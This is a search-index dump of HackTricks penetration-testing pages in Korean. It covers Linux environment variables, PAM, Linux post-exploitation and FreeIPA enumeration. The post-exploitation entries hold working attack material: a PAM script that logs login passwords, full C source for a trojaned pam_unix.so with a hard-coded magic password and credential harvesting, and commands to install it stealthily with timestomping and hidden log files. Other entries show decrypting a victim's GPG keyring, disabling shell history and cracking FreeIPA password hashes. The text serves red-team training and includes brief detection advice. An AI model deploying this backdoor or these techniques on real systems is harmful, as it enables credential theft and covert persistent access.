텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Bypass Linux Restrictions » Bypass FS protections: read-only / no-exec / Distroless » DDexec / EverythingExec » 참고문헌","id":"1966","title":"참고문헌"},"1967":{"body":"Reading time: 4 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Environment Variables » 리눅스 환경 변수","id":"1967","title":"리눅스 환경 변수"},"1968":{"body":"전역 변수는 자식 프로세스 에 의해 상속됩니다 . 현재 세션을 위한 전역 변수를 생성하려면: bash export MYGLOBAL=\\"hello world\\"\\necho $MYGLOBAL #Prints: hello world 이 변수는 현재 세션과 그 자식 프로세스에서 접근할 수 있습니다. 변수를 제거 하려면 다음을 수행하십시오: bash unset MYGLOBAL","breadcrumbs":"Linux Environment Variables » 전역 변수","id":"1968","title":"전역 변수"},"1969":{"body":"로컬 변수 는 현재 셸/스크립트 에서만 접근 할 수 있습니다. bash LOCAL=\\"my local\\"\\necho $LOCAL\\nunset LOCAL","breadcrumbs":"Linux Environment Variables » 로컬 변수","id":"1969","title":"로컬 변수"},"197":{"body":"SMB는 파일, 프린터 및 포트를 공유하기 위한 프로토콜입니다. 이는 TCP(포트 445) 또는 TCP를 통한 NetBIOS(포트 137, 138)에서 직접 작동합니다. 이 이중 호환성은 다양한 장치와의 연결성을 향상시킵니다.","breadcrumbs":"Pentesting Network » Network Protocols Explained (ESP) » SMB (서버 메시지 블록)","id":"197","title":"SMB (서버 메시지 블록)"},"1970":{"body":"bash set\\nenv\\nprintenv\\ncat /proc/$$/environ\\ncat /proc/`python -c \\"import os; print(os.getppid())\\"`/environ","breadcrumbs":"Linux Environment Variables » 현재 변수 목록","id":"1970","title":"현재 변수 목록"},"1971":{"body":"From: https://geek-university.com/linux/common-environment-variables/ DISPLAY – X 에서 사용하는 디스플레이. 이 변수는 보통 :0.0 으로 설정되며, 이는 현재 컴퓨터의 첫 번째 디스플레이를 의미합니다. EDITOR – 사용자가 선호하는 텍스트 편집기. HISTFILESIZE – 히스토리 파일에 포함된 최대 라인 수. HISTSIZE – 사용자가 세션을 종료할 때 히스토리 파일에 추가되는 라인 수. HOME – 홈 디렉토리. HOSTNAME – 컴퓨터의 호스트 이름. LANG – 현재 언어. MAIL – 사용자의 메일 스풀 위치. 보통 /var/spool/mail/USER . MANPATH – 매뉴얼 페이지를 검색할 디렉토리 목록. OSTYPE – 운영 체제의 유형. PS1 – bash의 기본 프롬프트. PATH – 파일 이름만 지정하여 실행하고자 하는 바이너리 파일이 있는 모든 디렉토리의 경로를 저장합니다. PWD – 현재 작업 디렉토리. SHELL – 현재 명령 셸의 경로 (예: /bin/bash ). TERM – 현재 터미널 유형 (예: xterm ). TZ – 시간대. USER – 현재 사용자 이름.","breadcrumbs":"Linux Environment Variables » Common variables","id":"1971","title":"Common variables"},"1972":{"body":"","breadcrumbs":"Linux Environment Variables » Interesting variables for hacking","id":"1972","title":"Interesting variables for hacking"},"1973":{"body":"이 변수의 값을 0으로 변경 하면, 세션을 종료할 때 히스토리 파일 (~/.bash_history) 이 삭제됩니다 . bash export HISTFILESIZE=0","breadcrumbs":"Linux Environment Variables » HISTFILESIZE","id":"1973","title":"HISTFILESIZE"},"1974":{"body":"이 변수의 값을 0으로 변경 하면, 세션을 종료할 때 어떤 명령도 히스토리 파일 (~/.bash_history)에 추가되지 않습니다. bash export HISTSIZE=0","breadcrumbs":"Linux Environment Variables » HISTSIZE","id":"1974","title":"HISTSIZE"},"1975":{"body":"프로세스는 http 또는 https 를 통해 인터넷에 연결하기 위해 여기에서 선언된 프록시 를 사용할 것입니다. bash export http_proxy=\\"http://10.10.10.10:8080\\"\\nexport https_proxy=\\"http://10.10.10.10:8080\\"","breadcrumbs":"Linux Environment Variables » http_proxy & https_proxy","id":"1975","title":"http_proxy & https_proxy"},"1976":{"body":"프로세스는 이 환경 변수 에 표시된 인증서를 신뢰합니다. bash export SSL_CERT_FILE=/path/to/ca-bundle.pem\\nexport SSL_CERT_DIR=/path/to/ca-certificates","breadcrumbs":"Linux Environment Variables » SSL_CERT_FILE & SSL_CERT_DIR","id":"1976","title":"SSL_CERT_FILE & SSL_CERT_DIR"},"1977":{"body":"프롬프트 모양을 변경합니다. 이것은 예시입니다 루트: 일반 사용자: 하나, 둘, 셋의 백그라운드 작업: 하나의 백그라운드 작업, 하나의 중지된 작업 및 마지막 명령이 올바르게 완료되지 않음: tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Environment Variables » PS1","id":"1977","title":"PS1"},"1978":{"body":"Reading time: 5 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Post-Exploitation » Linux Post-Exploitation","id":"1978","title":"Linux Post-Exploitation"},"1979":{"body":"각 사용자가 로그인할 때 사용하는 비밀번호를 기록하도록 PAM 모듈을 구성해 보겠습니다. PAM이 무엇인지 모르면 확인하세요: PAM - Pluggable Authentication Modules 자세한 내용은 original post 을 확인하세요. 이것은 요약입니다: Technique Overview: Pluggable Authentication Modules (PAM)은 Unix 기반 시스템에서 인증 관리를 유연하게 해줍니다. 로그인 과정을 맞춤화하여 보안을 향상시킬 수 있지만, 오용될 경우 위험을 초래할 수도 있습니다. 이 요약은 PAM을 사용해 로그인 자격 증명을 수집하는 기법과 함께 완화 방안을 개요합니다. Capturing Credentials: A bash script named toomanysecrets.sh is crafted to log login attempts, capturing the date, username ($PAM_USER), password (via stdin), and remote host IP ($PAM_RHOST) to /var/log/toomanysecrets.log. The script is made executable and integrated into the PAM configuration (common-auth) using the pam_exec.so module with options to run quietly and expose the authentication token to the script. The approach demonstrates how a compromised Linux host can be exploited to log credentials discreetly. bash #!/bin/sh\\necho \\" $(date) $PAM_USER, $(cat -), From: $PAM_RHOST\\" >> /var/log/toomanysecrets.log\\nsudo touch /var/log/toomanysecrets.sh\\nsudo chmod 770 /var/log/toomanysecrets.sh\\nsudo nano /etc/pam.d/common-auth\\n# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh\\nsudo chmod 700 /usr/local/bin/toomanysecrets.sh","breadcrumbs":"Linux Post-Exploitation » Sniffing Logon Passwords with PAM","id":"1979","title":"Sniffing Logon Passwords with PAM"},"198":{"body":"NetBIOS는 자원 공유를 위한 네트워크 세션 및 연결을 관리합니다. 이는 장치에 대한 고유 이름과 여러 장치에 대한 그룹 이름을 지원하여 타겟팅된 또는 브로드캐스트 메시징을 가능하게 합니다. 통신은 연결 없는(확인 없음) 또는 연결 지향(세션 기반)일 수 있습니다. NetBIOS는 전통적으로 IPC/IPX와 같은 프로토콜에서 작동하지만, TCP/IP에서 일반적으로 사용됩니다. 관련 프로토콜인 NetBEUI는 속도로 알려져 있지만 브로드캐스팅으로 인해 다소 장황했습니다.","breadcrumbs":"Pentesting Network » Network Protocols Explained (ESP) » NetBIOS (네트워크 기본 입출력 시스템)","id":"198","title":"NetBIOS (네트워크 기본 입출력 시스템)"},"1980":{"body":"For further details check the original post . 이것은 요약입니다: Pluggable Authentication Module (PAM)은 Linux에서 사용자 인증에 사용되는 시스템입니다. 이것은 세 가지 주요 개념으로 동작합니다: username , password , 그리고 service . 각 서비스의 구성 파일은 /etc/pam.d/ 디렉터리에 위치하며, 여기서 공유 라이브러리가 인증을 처리합니다. 목표 : 실제 사용자 비밀번호를 우회하여 특정 비밀번호로 인증을 허용하도록 PAM을 수정하는 것입니다. 특히 거의 모든 서비스에서 비밀번호 검증을 위해 포함되는 common-auth 파일에서 사용되는 pam_unix.so 공유 라이브러리에 초점을 맞춥니다.","breadcrumbs":"Linux Post-Exploitation » Backdooring PAM","id":"1980","title":"Backdooring PAM"},"1981":{"body":"Locate the Authentication Directive in the common-auth file: The line responsible for checking a user\'s password calls pam_unix.so. Modify Source Code : Add a conditional statement in the pam_unix_auth.c source file that grants access if a predefined password is used, otherwise, it proceeds with the usual authentication process. Recompile and Replace the modified pam_unix.so library in the appropriate directory. Testing : Access is granted across various services (login, ssh, sudo, su, screensaver) with the predefined password, while normal authentication processes remain unaffected. tip 이 과정을 자동화하려면 https://github.com/zephrax/linux-pam-backdoor 를 사용하세요","breadcrumbs":"Linux Post-Exploitation » Steps for Modifying pam_unix.so:","id":"1981","title":"Steps for Modifying pam_unix.so:"},"1982":{"body":"암호화된 .gpg 파일과 사용자의 ~/.gnupg 폴더(pubring, private-keys, trustdb)를 찾았지만 GnuPG homedir 권한/잠금 때문에 복호화할 수 없다면, 키링을 쓰기 가능한 위치로 복사한 다음 이를 GPG homedir로 사용하세요. 이 작업을 하지 않으면 보통 다음과 같은 오류가 발생합니다: \\"unsafe ownership on homedir\\", \\"failed to create temporary file\\", 또는 \\"decryption failed: No secret key\\" (이는 GPG가 원본 homedir를 읽거나 쓸 수 없기 때문입니다). 워크플로우: bash # 1) Stage a writable homedir and copy the victim\'s keyring\\nmkdir -p /dev/shm/fakehome/.gnupg\\ncp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/\\n# 2) Ensure ownership & perms are sane for gnupg\\nchown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg\\nchmod 700 /dev/shm/fakehome/.gnupg\\n# 3) Decrypt using the relocated homedir (either flag works)\\nGNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg\\n# or\\ngpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg 비밀 키 자료가 private-keys-v1.d에 존재하면, GPG는 passphrase를 묻지 않고 잠금 해제 및 복호화를 수행합니다(키가 보호되어 있으면 묻습니다).","breadcrumbs":"Linux Post-Exploitation » Decrypting GPG loot via homedir relocation","id":"1982","title":"Decrypting GPG loot via homedir relocation"},"1983":{"body":"0xdf – HTB Environment (GPG homedir relocation to decrypt loot) GnuPG Manual – Home directory and GNUPGHOME tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Post-Exploitation » References","id":"1983","title":"References"},"1984":{"body":"Reading time: 5 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Post-Exploitation » PAM - Pluggable Authentication Modules » PAM - Pluggable Authentication Modules","id":"1984","title":"PAM - Pluggable Authentication Modules"},"1985":{"body":"**PAM (Pluggable Authentication Modules)**는 컴퓨터 서비스에 접근하려는 사용자의 신원을 확인하는 보안 메커니즘 으로, 다양한 기준에 따라 접근을 제어합니다. 이는 디지털 게이트키퍼와 유사하여, 권한이 있는 사용자만 특정 서비스에 참여할 수 있도록 보장하며, 시스템 과부하를 방지하기 위해 사용을 제한할 수 있습니다. 구성 파일 Solaris 및 UNIX 기반 시스템 은 일반적으로 /etc/pam.conf에 위치한 중앙 구성 파일을 사용합니다. Linux 시스템 은 디렉토리 방식을 선호하며, /etc/pam.d 내에 서비스별 구성을 저장합니다. 예를 들어, 로그인 서비스의 구성 파일은 /etc/pam.d/login에 있습니다. 로그인 서비스에 대한 PAM 구성의 예는 다음과 같을 수 있습니다: auth required /lib/security/pam_securetty.so\\nauth required /lib/security/pam_nologin.so\\nauth sufficient /lib/security/pam_ldap.so\\nauth required /lib/security/pam_unix_auth.so try_first_pass\\naccount sufficient /lib/security/pam_ldap.so\\naccount required /lib/security/pam_unix_acct.so\\npassword required /lib/security/pam_cracklib.so\\npassword required /lib/security/pam_ldap.so\\npassword required /lib/security/pam_pwdb.so use_first_pass\\nsession required /lib/security/pam_unix_session.so PAM 관리 영역 이 영역, 또는 관리 그룹은 auth , account , password , 및 session 을 포함하며, 각기 인증 및 세션 관리 프로세스의 다양한 측면을 담당합니다: Auth : 사용자 신원을 검증하며, 종종 비밀번호 입력을 요구합니다. Account : 그룹 멤버십이나 시간 제한과 같은 조건을 확인하여 계정 검증을 처리합니다. Password : 복잡성 검사 또는 사전 공격 방지를 포함하여 비밀번호 업데이트를 관리합니다. Session : 서비스 세션의 시작 또는 종료 시 작업을 관리하며, 디렉토리 마운트 또는 리소스 제한 설정과 같은 작업을 포함합니다. PAM 모듈 제어 제어는 모듈의 성공 또는 실패에 대한 반응을 결정하며, 전체 인증 프로세스에 영향을 미칩니다. 여기에는 다음이 포함됩니다: Required : 필수 모듈의 실패는 결국 실패로 이어지지만, 모든 후속 모듈이 확인된 후에만 발생합니다. Requisite : 실패 시 즉각적인 프로세스 종료. Sufficient : 성공 시 동일 영역의 나머지 검사를 우회하지만, 후속 모듈이 실패할 경우는 제외됩니다. Optional : 스택에서 유일한 모듈일 경우에만 실패를 유발합니다. 예시 시나리오 여러 인증 모듈이 있는 설정에서 프로세스는 엄격한 순서를 따릅니다. pam_securetty 모듈이 로그인 터미널이 승인되지 않았다고 판단하면, 루트 로그인이 차단되지만, \\"required\\" 상태로 인해 모든 모듈이 여전히 처리됩니다. pam_env는 환경 변수를 설정하여 사용자 경험을 향상시킬 수 있습니다. pam_ldap 및 pam_unix 모듈은 함께 작동하여 사용자를 인증하며, pam_unix는 이전에 제공된 비밀번호를 사용하려고 시도하여 인증 방법의 효율성과 유연성을 높입니다.","breadcrumbs":"Linux Post-Exploitation » PAM - Pluggable Authentication Modules » 기본 정보","id":"1985","title":"기본 정보"},"1986":{"body":"고가치 Linux 환경에서 고전적인 지속성 트릭은 합법적인 PAM 라이브러리를 트로이 목마화된 드롭인으로 교체하는 것 입니다. 모든 SSH / 콘솔 로그인은 pam_unix.so:pam_sm_authenticate()를 호출하므로, 자격 증명을 캡처하거나 마법 비밀번호 우회를 구현하기 위해 몇 줄의 C 코드면 충분합니다.","breadcrumbs":"Linux Post-Exploitation » PAM - Pluggable Authentication Modules » PAM 백도어 – pam_unix.so 후킹","id":"1986","title":"PAM 백도어 – pam_unix.so 후킹"},"1987":{"body":"c #define _GNU_SOURCE\\n#include \\n#include \\n#include \\n#include \\n#include static int (*orig)(pam_handle_t *, int, int, const char **);\\nstatic const char *MAGIC = \\"Sup3rS3cret!\\"; int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {\\nconst char *user, *pass;\\npam_get_user(pamh, &user, NULL);\\npam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL); /* Magic pwd → immediate success */\\nif(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS; /* Credential harvesting */\\nint fd = open(\\"/usr/bin/.dbus.log\\", O_WRONLY|O_APPEND|O_CREAT, 0600);\\ndprintf(fd, \\"%s:%s\\\\n\\", user, pass);\\nclose(fd); /* Fall back to original function */\\nif(!orig) {\\norig = dlsym(RTLD_NEXT, \\"pam_sm_authenticate\\");\\n}\\nreturn orig(pamh, flags, argc, argv);\\n} 컴파일하고 은밀하게 교체하기: bash gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam\\nmv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak\\nmv pam_unix.so /lib/security/pam_unix.so\\nchmod 644 /lib/security/pam_unix.so # keep original perms\\ntouch -r /bin/ls /lib/security/pam_unix.so # timestomp","breadcrumbs":"Linux Post-Exploitation » PAM - Pluggable Authentication Modules » 컴파일 요약표","id":"1987","title":"컴파일 요약표"},"1988":{"body":"원자적 덮어쓰기 – 임시 파일에 쓰고 mv로 위치를 변경하여 SSH를 잠글 수 있는 반쯤 작성된 라이브러리를 피하십시오. /usr/bin/.dbus.log와 같은 로그 파일 배치는 합법적인 데스크탑 아티팩트와 섞입니다. PAM의 잘못된 동작을 피하기 위해 기호 내보내기를 동일하게 유지하십시오 (pam_sm_setcred 등).","breadcrumbs":"Linux Post-Exploitation » PAM - Pluggable Authentication Modules » OpSec Tips","id":"1988","title":"OpSec Tips"},"1989":{"body":"pam_unix.so의 MD5/SHA256을 배포판 패키지와 비교하십시오. /lib/security/ 아래에서 세계 쓰기 가능 또는 비정상적인 소유권을 확인하십시오. auditd 규칙: -w /lib/security/pam_unix.so -p wa -k pam-backdoor.","breadcrumbs":"Linux Post-Exploitation » PAM - Pluggable Authentication Modules » Detection","id":"1989","title":"Detection"},"199":{"body":"LDAP는 TCP/IP를 통해 디렉터리 정보를 관리하고 접근할 수 있게 하는 프로토콜입니다. 이는 디렉터리 정보를 쿼리하고 수정하기 위한 다양한 작업을 지원합니다. 주로 분산 디렉터리 정보 서비스를 접근하고 유지하는 데 사용되며, LDAP 통신을 위해 설계된 데이터베이스와 상호작용할 수 있습니다.","breadcrumbs":"Pentesting Network » Network Protocols Explained (ESP) » LDAP (경량 디렉터리 접근 프로토콜)","id":"199","title":"LDAP (경량 디렉터리 접근 프로토콜)"},"1990":{"body":"https://hotpotato.tistory.com/434 Palo Alto Unit42 – Infiltration of Global Telecom Networks tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Post-Exploitation » PAM - Pluggable Authentication Modules » References","id":"1990","title":"References"},"1991":{"body":"Reading time: 8 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"FreeIPA Pentesting » FreeIPA Pentesting","id":"1991","title":"FreeIPA Pentesting"},"1992":{"body":"FreeIPA는 Microsoft Windows Active Directory 에 대한 오픈 소스 대안 으로, 주로 Unix 환경을 위해 설계되었습니다. 이는 Active Directory와 유사한 관리 기능을 제공하는 MIT Kerberos 키 배포 센터와 완전한 LDAP 디렉토리 를 결합합니다. CA 및 RA 인증서 관리를 위해 Dogtag Certificate System 을 활용하며, 스마트카드를 포함한 다중 인증 을 지원합니다. Unix 인증 프로세스를 위해 SSSD가 통합되어 있습니다.","breadcrumbs":"FreeIPA Pentesting » Basic Information","id":"1992","title":"Basic Information"},"1993":{"body":"","breadcrumbs":"FreeIPA Pentesting » Fingerprints","id":"1993","title":"Fingerprints"},"1994":{"body":"Kerberos 클라이언트 정보는 도메인 등록에 필요하며 /etc/krb5.conf 파일에 저장됩니다. 여기에는 KDC 및 관리 서버의 위치, 기본 설정 및 매핑이 포함됩니다. IPA 클라이언트 및 서버에 대한 시스템 전체 기본값은 /etc/ipa/default.conf 파일에 설정됩니다. 도메인 내의 호스트는 인증 프로세스를 위해 /etc/krb5.keytab에 krb5.keytab 파일을 가져야 합니다. 다양한 환경 변수(KRB5CCNAME, KRB5_KTNAME, KRB5_CONFIG, KRB5_KDC_PROFILE, KRB5RCACHETYPE, KRB5RCACHEDIR, KRB5_TRACE, KRB5_CLIENT_KTNAME, KPROP_PORT)는 Kerberos 인증과 관련된 특정 파일 및 설정을 가리키는 데 사용됩니다.","breadcrumbs":"FreeIPA Pentesting » Files & Environment Variables","id":"1994","title":"Files & Environment Variables"},"1995":{"body":"ipa, kdestroy, kinit, klist, kpasswd, ksu, kswitch, kvno와 같은 도구는 FreeIPA 도메인을 관리하고 Kerberos 티켓을 처리하며 비밀번호를 변경하고 서비스 티켓을 획득하는 등 여러 기능에 핵심적입니다.","breadcrumbs":"FreeIPA Pentesting » Binaries","id":"1995","title":"Binaries"},"1996":{"body":"일반적인 FreeIPA 서버 설정을 나타내는 그림이 제공됩니다.","breadcrumbs":"FreeIPA Pentesting » Network","id":"1996","title":"Network"},"1997":{"body":"FreeIPA에서의 인증은 Kerberos 를 활용하여 Active Directory 와 유사합니다. 도메인 리소스에 접근하려면 유효한 Kerberos 티켓이 필요하며, 이는 FreeIPA 도메인 구성에 따라 다양한 위치에 저장될 수 있습니다.","breadcrumbs":"FreeIPA Pentesting » Authentication","id":"1997","title":"Authentication"},"1998":{"body":"CCACHE 파일은 일반적으로 **/tmp**에 600 권한으로 저장되며, Kerberos 자격 증명을 저장하기 위한 이진 형식으로, 사용자의 평문 비밀번호 없이 인증을 가능하게 합니다. CCACHE 티켓을 파싱하려면 klist 명령을 사용할 수 있으며, 유효한 CCACHE 티켓을 재사용하려면 KRB5CCNAME을 티켓 파일의 경로로 내보내야 합니다.","breadcrumbs":"FreeIPA Pentesting » CCACHE Ticket Files","id":"1998","title":"CCACHE Ticket Files"},"1999":{"body":"대안으로, CCACHE 티켓은 Linux 키링에 저장할 수 있어 티켓 관리에 대한 더 많은 제어를 제공합니다. 티켓 저장 범위는 (KEYRING:name, KEYRING:process:name, KEYRING:thread:name, KEYRING:session:name, KEYRING:persistent:uidnumber)로 다양하며, klist는 사용자를 위해 이 정보를 파싱할 수 있습니다. 그러나 Unix 키링에서 CCACHE 티켓을 재사용하는 것은 어려울 수 있으며, Kerberos 티켓을 추출하기 위해 Tickey 와 같은 도구가 제공됩니다.","breadcrumbs":"FreeIPA Pentesting » Unix Keyring","id":"1999","title":"Unix Keyring"},"2":{"body":"","breadcrumbs":"HackTricks » 기업 후원사","id":"2","title":"기업 후원사"},"20":{"body":"Copyright © 모든 권리 보유, 별도로 명시되지 않는 한. 라이센스 요약: 저작권 표시: 귀하는 자유롭게: 공유 — 모든 매체나 형식으로 자료를 복사하고 재배포할 수 있습니다. 수정 — 자료를 리믹스하고 변형하며 기반을 구축할 수 있습니다. 추가 조건: 제3자 콘텐츠: 이 블로그/책의 일부는 다른 블로그나 출판물의 발췌와 같은 다른 출처의 콘텐츠를 포함할 수 있습니다. 이러한 콘텐츠의 사용은 공정 사용 원칙에 따라 이루어지거나 해당 저작권 소유자의 명시적 허가를 받습니다. 제3자 콘텐츠에 대한 특정 라이센스 정보는 원본 출처를 참조하십시오. 저작권: HackTricks가 저작한 원본 콘텐츠는 이 라이센스의 조건에 따릅니다. 공유하거나 수정할 때 이 작업을 저자에게 귀속시키는 것이 권장됩니다. 면제: 상업적 사용: 이 콘텐츠의 상업적 사용에 대한 문의는 저에게 연락해 주십시오. 이 라이센스는 콘텐츠와 관련하여 상표 또는 브랜드 권리를 부여하지 않습니다. 이 블로그/책에 포함된 모든 상표 및 브랜드는 해당 소유자의 재산입니다. HackTricks에 접근하거나 사용함으로써 귀하는 이 라이센스의 조건을 준수할 것에 동의합니다. 이 조건에 동의하지 않으면 이 웹사이트에 접근하지 마십시오.","breadcrumbs":"HackTricks Values & FAQ » LICENSE","id":"20","title":"LICENSE"},"200":{"body":"Active Directory는 사용자, 그룹, 권한 및 자원과 같은 객체를 포함하는 네트워크 접근 가능한 데이터베이스로, 네트워크 엔티티의 중앙 집중식 관리를 용이하게 합니다. AD는 데이터를 도메인의 계층 구조로 구성하여 서버, 그룹 및 사용자를 포함할 수 있습니다. 하위 도메인은 추가 세분화를 허용하며, 각 하위 도메인은 자체 서버 및 사용자 기반을 유지할 수 있습니다. 이 구조는 사용자 관리를 중앙 집중화하여 네트워크 자원에 대한 접근을 부여하거나 제한합니다. 특정 정보(예: 연락처 세부정보)를 검색하거나 도메인 내의 자원(예: 프린터)을 찾기 위해 쿼리를 수행할 수 있습니다. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Pentesting Network » Network Protocols Explained (ESP) » Active Directory (AD)","id":"200","title":"Active Directory (AD)"},"2000":{"body":"Kerberos 주체와 암호화된 키를 포함하는 Keytab 파일은 유효한 티켓 부여 티켓(TGT)을 얻는 데 중요하며, 주체의 비밀번호 없이도 가능합니다. Keytab 파일에서 자격 증명을 파싱하고 재사용하는 것은 klist와 KeytabParser 와 같은 유틸리티를 사용하여 쉽게 수행할 수 있습니다.","breadcrumbs":"FreeIPA Pentesting » Keytab","id":"2000","title":"Keytab"},"2001":{"body":"Linux에서 티켓을 사용하는 방법에 대한 더 많은 정보는 다음 링크에서 확인할 수 있습니다: Linux Active Directory","breadcrumbs":"FreeIPA Pentesting » Cheatsheet","id":"2001","title":"Cheatsheet"},"2002":{"body":"warning ldap 및 기타 binary 도구를 통해 enumeration 을 수행하거나 FreeIPA 서버의 포트 443에 있는 웹 페이지에 연결 할 수 있습니다.","breadcrumbs":"FreeIPA Pentesting » Enumeration","id":"2002","title":"Enumeration"},"2003":{"body":"호스트 , 사용자 및 그룹 을 생성할 수 있습니다. 호스트와 사용자는 각각 “ Host Groups ” 및 “ User Groups ”라는 컨테이너로 정렬됩니다. 이는 조직 단위 (OU)와 유사합니다. 기본적으로 FreeIPA에서 LDAP 서버는 익명 바인딩 을 허용하며, 많은 데이터가 인증되지 않은 상태에서 열람 가능합니다. 이는 인증되지 않은 모든 데이터를 열람할 수 있습니다: ldapsearch -x 더 많은 정보 를 얻으려면 인증된 세션을 사용해야 합니다 (인증된 세션을 준비하는 방법은 인증 섹션을 확인하세요). bash # Get all users of domain\\nldapsearch -Y gssapi -b \\"cn=users,cn=compat,dc=domain_name,dc=local\\" # Get users groups\\nldapsearch -Y gssapi -b \\"cn=groups,cn=accounts,dc=domain_name,dc=local\\" # Get all the hosts\\nldapsearch -Y gssapi -b \\"cn=computers,cn=accounts,dc=domain_name,dc=local\\" # Get hosts groups\\nldapsearch -Y gssapi -b \\"cn=hostgroups,cn=accounts,dc=domain_name,dc=local\\" 도메인에 가입된 머신에서 설치된 바이너리 를 사용하여 도메인을 열거할 수 있습니다: bash ipa user-find\\nipa usergroup-find\\nipa host-find\\nipa host-group-find ------------------- ipa user-show --all\\nipa usergroup-show --all\\nipa host-find --all\\nipa hostgroup-show --all tip FreeIPA 의 admin 사용자는 AD 의 domain admins 와 동등합니다.","breadcrumbs":"FreeIPA Pentesting » Hosts, Users, and Groups","id":"2003","title":"Hosts, Users, and Groups"},"2004":{"body":"IPA 서버 의 root 사용자는 비밀번호 hashes 에 접근할 수 있습니다. 사용자의 비밀번호 해시는 “ userPassword ” attribute 에 base64 로 저장됩니다. 이 해시는 SSHA512 (구버전의 FreeIPA) 또는 PBKDF2_SHA256 일 수 있습니다. 시스템이 AD 와 integration 되어 있다면 비밀번호의 Nthash 는 “ ipaNTHash ”에 base64 로 저장됩니다. 이 해시를 크랙하려면: • FreeIPA가 AD와 통합된 경우, ipaNTHash 는 쉽게 크랙할 수 있습니다: base64 를 decode 한 후 ASCII hex로 다시 인코딩 -> John The Ripper 또는 hashcat 을 사용하여 빠르게 크랙할 수 있습니다. • 구버전의 FreeIPA가 사용되는 경우, SSHA512 가 사용됩니다: base64 를 decode 한 후 SSHA512 